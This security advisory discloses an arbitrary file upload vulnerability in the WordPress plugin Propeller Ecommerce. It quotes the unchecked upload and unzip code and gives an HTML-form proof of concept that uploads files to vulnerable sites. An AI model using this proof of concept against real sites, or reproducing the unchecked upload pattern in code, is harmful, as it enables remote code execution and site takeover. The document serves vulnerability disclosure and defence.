Arbitrary File Upload Vulnerability in Propeller Ecommerce
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, an arbitrary file upload vulnerability in a brand new WordPress plugin, Propeller Ecommerce. That type of vulnerability would allow a hacker, among other things, to run arbitrary code on the website.
We now are also running all the plugins used by our customers through that on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Arbitrary File Upload
The plugin registers the function upload_translations() in the file /admin/PropellerTranslations.php to run whenever WordPress loads:
312 | add_action('init', array($translator, 'upload_translations'), 10); |
That function doesn’t do any security checks before saving a file sent with a request on to the website:
494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 | public function upload_translations() { if ( isset( $_POST['upload_translations'] ) ) { require_once(ABSPATH .'/wp-admin/includes/file.php'); WP_Filesystem(); $backups_dir = $this->get_temp_dir(); $uploads_dir = $backups_dir . DIRECTORY_SEPARATOR . 'uploads'; if ( ! file_exists( $uploads_dir ) ) { wp_mkdir_p( $uploads_dir ); } $filename = wp_unique_filename( $uploads_dir, $_FILES['trn_archive']['name'] ); move_uploaded_file( $_FILES['trn_archive']['tmp_name'], $uploads_dir . DIRECTORY_SEPARATOR . $filename ); |
That is an arbitrary file upload vulnerability.
Making the situation worse, the code will then attempt to unzip the file, which could allow hacker to bypass security software that blocks uploading files based on the file extension:
511 512 513 514 | if ( !$this->translations_path ) $this->translations_path = $this->get_translations_path(); unzip_file( $uploads_dir . DIRECTORY_SEPARATOR . $filename, $this->translations_path ); |
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will upload the file sent with the request to the directory /wp-content/uploads/propeller-ecommerce/uploads/.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" enctype="multipart/form-data" method="POST"> <input type="hidden" name="upload_translations" value="true" /> <input type="file" name="trn_archive" /> <input type="submit" name="img" value="Submit" /> </form> </body>